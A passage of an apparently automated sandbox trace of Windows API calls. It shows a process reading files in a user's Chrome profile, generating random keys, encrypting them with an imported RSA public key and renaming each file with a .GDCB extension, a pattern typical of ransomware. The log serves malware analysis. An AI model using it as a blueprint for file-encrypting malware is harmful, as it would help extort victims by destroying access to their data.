hTemplateFile=0x0) returned 0x518 [0196.775] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6360000 [0196.776] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6370000 [0196.777] ReadFile (in: hFile=0x518, lpBuffer=0x6370000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x6370000*, lpNumberOfBytesRead=0x285d160*=0x1c00, lpOverlapped=0x0) returned 1 [0196.844] VirtualAlloc (lpAddress=0x0, dwSize=0x1c00, flAllocationType=0x3000, flProtect=0x4) returned 0x6480000 [0196.849] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\databases\\Databases.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\databases\\databases.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\databases\\Databases.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\databases\\databases.db.gdcb")) returned 1 [0196.868] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0196.870] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.871] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.871] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0196.871] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0196.871] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0196.873] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.873] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.874] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0196.874] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0196.874] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0196.876] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508cc78) returned 1 [0196.876] CryptGetKeyParam (in: hKey=0x508cc78, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0196.876] CryptEncrypt (in: hKey=0x508cc78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6340000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x6340000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0196.876] GetLastError () returned 0x0 [0196.876] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0196.876] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0196.878] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508c978) returned 1 [0196.878] CryptGetKeyParam (in: hKey=0x508c978, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0196.878] CryptEncrypt (in: hKey=0x508c978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6350000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x6350000*, pdwDataLen=0x285d120*=0x100) returned 1 [0196.878] GetLastError () returned 0x0 [0196.878] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.878] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extension rules\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0196.880] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6360000 [0196.882] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6370000 [0196.883] ReadFile (in: hFile=0x518, lpBuffer=0x6370000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x6370000*, lpNumberOfBytesRead=0x285d160*=0x214, lpOverlapped=0x0) returned 1 [0196.892] VirtualAlloc (lpAddress=0x0, dwSize=0x220, flAllocationType=0x3000, flProtect=0x4) returned 0x6480000 [0196.907] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extension rules\\000003.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extension rules\\000003.log.gdcb")) returned 1 [0196.924] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0196.925] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.926] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.927] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0196.927] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0196.927] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0196.928] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.929] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.929] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0196.929] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0196.929] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0196.931] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508ccf8) returned 1 [0196.931] CryptGetKeyParam (in: hKey=0x508ccf8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0196.931] CryptEncrypt (in: hKey=0x508ccf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6340000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x6340000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0196.931] GetLastError () returned 0x0 [0196.931] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0196.931] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0196.933] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508cd38) returned 1 [0196.933] CryptGetKeyParam (in: hKey=0x508cd38, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0196.933] CryptEncrypt (in: hKey=0x508cd38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6350000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x6350000*, pdwDataLen=0x285d120*=0x100) returned 1 [0196.933] GetLastError () returned 0x0 [0196.933] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.933] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extension state\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0196.935] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6360000 [0196.936] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6370000 [0196.937] ReadFile (in: hFile=0x518, lpBuffer=0x6370000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x6370000*, lpNumberOfBytesRead=0x285d160*=0x4e6, lpOverlapped=0x0) returned 1 [0196.946] VirtualAlloc (lpAddress=0x0, dwSize=0x4f0, flAllocationType=0x3000, flProtect=0x4) returned 0x6480000 [0196.950] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extension state\\000003.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extension state\\000003.log.gdcb")) returned 1 [0196.987] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0196.989] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.990] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.990] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0196.990] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.990] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0196.992] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.993] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.993] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0196.993] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0196.993] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0196.995] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508cd78) returned 1 [0196.995] CryptGetKeyParam (in: hKey=0x508cd78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0196.995] CryptEncrypt (in: hKey=0x508cd78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6340000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6340000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0196.996] GetLastError () returned 0x0 [0196.996] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0196.996] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0196.997] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508cef8) returned 1 [0196.997] CryptGetKeyParam (in: hKey=0x508cef8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0196.998] CryptEncrypt (in: hKey=0x508cef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6350000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6350000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0196.998] GetLastError () returned 0x0 [0196.998] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.998] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\previews_opt_out.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0196.999] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6360000 [0197.001] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6370000 [0197.002] ReadFile (in: hFile=0x514, lpBuffer=0x6370000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6370000*, lpNumberOfBytesRead=0x285d3e8*=0x4210, lpOverlapped=0x0) returned 1 [0197.010] VirtualAlloc (lpAddress=0x0, dwSize=0x4210, flAllocationType=0x3000, flProtect=0x4) returned 0x6480000 [0197.015] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\previews_opt_out.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\previews_opt_out.db.gdcb")) returned 1 [0197.042] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0197.044] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.045] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.045] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0197.045] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.045] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0197.047] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.048] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.048] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0197.048] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.048] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0197.050] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x508cbb8) returned 1 [0197.050] CryptGetKeyParam (in: hKey=0x508cbb8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0197.050] CryptEncrypt (in: hKey=0x508cbb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6340000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x6340000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0197.050] GetLastError () returned 0x0 [0197.050] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.050] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0197.052] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x508c9b8) returned 1 [0197.052] CryptGetKeyParam (in: hKey=0x508c9b8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0197.053] CryptEncrypt (in: hKey=0x508c9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6350000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x6350000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0197.053] GetLastError () returned 0x0 [0197.053] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0197.053] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Service Worker\\Database\\000003.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\service worker\\database\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x51c [0197.054] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6360000 [0197.056] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6370000 [0197.057] ReadFile (in: hFile=0x51c, lpBuffer=0x6370000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0x6370000*, lpNumberOfBytesRead=0x285ced8*=0x8b2, lpOverlapped=0x0) returned 1 [0197.070] VirtualAlloc (lpAddress=0x0, dwSize=0x8c0, flAllocationType=0x3000, flProtect=0x4) returned 0x6480000 [0197.074] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Service Worker\\Database\\000003.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\service worker\\database\\000003.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Service Worker\\Database\\000003.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\service worker\\database\\000003.log.gdcb")) returned 0 [0197.108] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0197.110] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.111] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.111] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0197.111] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0197.111] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0197.112] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.113] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.113] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0197.113] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.113] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0197.115] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508ceb8) returned 1 [0197.115] CryptGetKeyParam (in: hKey=0x508ceb8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0197.115] CryptEncrypt (in: hKey=0x508ceb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6340000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x6340000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0197.116] GetLastError () returned 0x0 [0197.116] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0197.116] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0197.117] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508cf78) returned 1 [0197.117] CryptGetKeyParam (in: hKey=0x508cf78, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0197.117] CryptEncrypt (in: hKey=0x508cf78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6350000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x6350000*, pdwDataLen=0x285d120*=0x100) returned 1 [0197.118] GetLastError () returned 0x0 [0197.118] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0197.118] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Session Storage\\000004.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\session storage\\000004.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0197.119] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6360000 [0197.120] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6370000 [0197.121] ReadFile (in: hFile=0x518, lpBuffer=0x6370000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x6370000*, lpNumberOfBytesRead=0x285d160*=0xb08, lpOverlapped=0x0) returned 1 [0197.143] VirtualAlloc (lpAddress=0x0, dwSize=0xb10, flAllocationType=0x3000, flProtect=0x4) returned 0x6480000 [0197.148] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Session Storage\\000004.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\session storage\\000004.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Session Storage\\000004.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\session storage\\000004.log.gdcb")) returned 1 [0197.228] 